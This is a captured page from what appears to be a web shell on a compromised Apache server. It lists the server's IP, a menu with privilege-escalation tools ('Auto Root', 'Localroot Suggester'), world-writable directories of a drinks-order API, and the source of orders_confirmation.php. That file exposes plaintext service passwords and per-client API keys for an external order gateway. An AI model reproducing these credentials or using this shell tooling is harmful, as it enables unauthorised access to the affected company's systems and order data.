Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
coca_orders_api /
Delete
Unzip
Name
Size
Permission
Date
Action
api-zelty
[ DIR ]
drwxrwxrwx
2025-11-21 10:56
orders_bircan
[ DIR ]
drwxrwxrwx
2025-11-08 11:17
orders_distribution_service
[ DIR ]
drwxrwxrwx
2025-11-08 11:17
orders_ffc
[ DIR ]
drwxrwxrwx
2025-11-08 11:17
orders_jauffres
[ DIR ]
drwxrwxrwx
2025-11-08 11:17
orders_jauffres-clementz
[ DIR ]
drwxrwxrwx
2025-11-08 11:17
orders_kezia
[ DIR ]
drwxrwxrwx
2025-11-08 11:17
orders_midi
[ DIR ]
drwxrwxrwx
2025-11-08 11:17
orders_piotet
[ DIR ]
drwxrwxrwx
2025-11-08 11:17
orders_vignoble
[ DIR ]
drwxrwxrwx
2025-11-08 11:17
test
[ DIR ]
drwxrwxrwx
2025-11-08 11:17
orders_bircan.php
2.45
KB
-rw-r--r--
2022-09-19 13:33
orders_confirmation.php
2.91
KB
-rw-r--r--
2022-10-18 10:56
orders_confirmation.php.save
2.64
KB
-rw-r--r--
2022-09-25 23:17
orders_distribution_service.php
2.29
KB
-rw-r--r--
2022-10-12 18:00
orders_ffc.php
3.91
KB
-rw-r--r--
2022-10-01 11:53
orders_jauffres.php
3.01
KB
-rw-r--r--
2022-10-11 14:32
orders_kezia.php.foa
2.63
KB
-rw-r--r--
2022-10-14 15:49
orders_midi.php
4.6
KB
-rw-r--r--
2024-03-12 09:26
orders_piotet.php
2.28
KB
-rw-r--r--
2022-06-19 16:26
orders_test.php
0
B
-rw-r--r--
2022-07-13 16:39
orders_vignoble.php
4.63
KB
-rw-r--r--
2024-01-29 15:05
test.php
21
B
-rw-r--r--
2024-01-29 11:13
Save
Rename
<?php /*============================================================================================== Anexys - Coded by : Amine LABGHALI (02/2022) API (REST) de confirmation des commandes Coca : Utilisations : URL : /orders_confirmation.php?client={Nom du client}&ref={REF de la commande} EX : - Nom du client : piotet ou chatel - REF de la commande : O-150228929 ============================================================================================== FULL URL : /orders_confirmation.php?client=piotet&ref=O-150228929 EX : http://93.113.207.21/coca_orders_api/orders_confirmation.php?client=piotet&ref=O-150228929 ==============================================================================================*/ //API Auth $url = 'https://api-gw.ccep.com/gateway/otc_orders_s_rtm/v1/orders/confirmation'; $user = 'svc_ic_rtmPull_bigdata'; $password = 'RTMc098d2c0-7127-4d92-8e78-dfb25334d60eP$ll'; //Clients Token Keys [parameter &client] if($_GET['client'] === "chatel"){$API_KEY="07cd2ed8-d867-4a99-9a0a-134ba0bf97c9";} else if($_GET['client'] === "bircan"){ $API_KEY="6fa614d1-b2c3-4591-9069-543acfad9bec"; $user = 'svc_ic_rtmpull_Pomared'; $password = 'RTM1d53e9fe-3bfc-417a-842a-c7470379f5f3P$ll'; } else if($_GET['client'] === "bircan"){$API_KEY="6fa614d1-b2c3-4591-9069-543acfad9bec";} else if($_GET['client'] === "kezia"){ $API_KEY="35a1b493-83a7-4f47-8ff9-77b5a1d32aa3"; $user = 'svc_ic_rtmPull_bigdata'; $password = 'RTMc098d2c0-7127-4d92-8e78-dfb25334d60eP$ll'; } else if($_GET['client'] === "piotet"){$API_KEY="f9d92735-8b5d-4f48-945f-95f441b9a325";} //Preparing the data array, depending on what API_COCA want to recieve [paramter &ref] $orders = array("Orders" => array()); array_push($orders["Orders"], array ("Order_number" => $_GET['ref'])); $order = json_encode($orders); //Communication with the API $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_GET, true); $headers = array( 'Content-Type:application/json', 'X-Wholesaler-APIKey: '.$API_KEY ); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_POSTFIELDS,$order); curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($ch, CURLOPT_USERPWD, "$user:$password"); $result = json_decode(curl_exec($ch),true); curl_close($ch); //Print the returned status in [Orders][0][updated] = 1 or 0 //echo $_GET['ref'].' : '.($result['Orders'][0]['updated'] == 1 ? 'true' : 'false'); //return ex : O-150228929 : true echo $result['Orders'][0]['updated'] == 1 ? 'true' : 'false'; //return ex : O-150228929 : true ?>